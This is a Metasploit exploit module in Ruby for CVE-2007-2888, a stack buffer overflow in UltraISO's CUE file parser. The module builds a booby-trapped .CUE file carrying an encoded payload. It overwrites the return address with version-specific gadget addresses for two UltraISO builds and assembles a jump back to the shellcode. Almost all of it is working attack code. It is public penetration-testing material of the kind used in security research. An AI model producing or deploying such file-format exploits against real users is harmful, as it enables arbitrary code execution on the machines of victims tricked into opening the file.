UltraISO CUE File Parsing Buffer Overflow

`##  
# $Id: ultraiso_cue.rb 8957 2010-03-30 01:40:26Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'UltraISO CUE File Parsing Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in EZB Systems, Inc's  
UltraISO. When processing .CUE files, data is read from file into a  
fixed-size stack buffer. Since no bounds checking is done, a buffer overflow  
can occur. Attackers can execute arbitrary code by convincing their victim  
to open an CUE file.  
  
NOTE: A file with the same base name, but the extension of "bin" must also  
exist. Opening either file will trigger the vulnerability, but the files must  
both exist.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 8957 $',  
'References' =>  
[  
[ 'CVE', '2007-2888' ],  
[ 'OSVDB', '36570' ],  
[ 'BID', '24140' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/3978' ]  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0d\x22",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# BOF @ 0x005e1f8b  
  
# The EXE base addr contains a bad char (nul). This prevents us from  
# writing data after the return address. NOTE: An SEH exploit was  
# originally created for this vuln, but was tossed in favor of using  
# the return address method instead. This is due to the offset being   
# stable across different open methods.  
  
[ 'Windows - UltraISO v8.6.2.2011 portable',  
{  
'Offset' => 1100,  
'JmpOff' => 0x30, # offset from the end to our jmp  
'Ret' => 0x00594740 # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe  
}  
],  
[ 'Windows - UltraISO v8.6.0.1936',  
{  
'Offset' => 1100,  
'JmpOff' => 0x30, # offset from the end to our jmp  
'Ret' => 0x0059170c # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 24 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.cue']),  
], self.class)  
end  
  
def exploit  
  
off = target['Offset']  
jmpoff = target['JmpOff']  
  
sploit = "\""  
sploit << payload.encoded  
sploit << rand_text_alphanumeric(off - sploit.length)  
  
# Smashed return address..  
sploit[off, 4] = [target.ret].pack('V')  
  
# We utilize a single instruction near the end of the buffer space to  
# jump back to the beginning of the buffer..  
distance = off - jmpoff  
distance -= 1 # dont execute the quote character!  
jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
sploit[off - jmpoff, jmp.length] = jmp  
  
sploit << ".BIN\""  
  
cue_data = "FILE "  
cue_data << sploit  
cue_data << " BINARY\r\n"  
cue_data << " TRACK 01 MODE1/2352\r\n"  
cue_data << " INDEX 01 00:00:00\r\n"  
  
print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")  
file_create(cue_data)  
  
# create the empty BIN file  
binfn = datastore['FILENAME'].dup  
binfn.gsub!(/\.cue$/, '.bin')  
out = File.expand_path(File.join(datastore['OUTPUTPATH'], binfn))  
File.new(out,"wb").close  
print_status("Created empty output file #{out}")  
  
end  
  
end  
`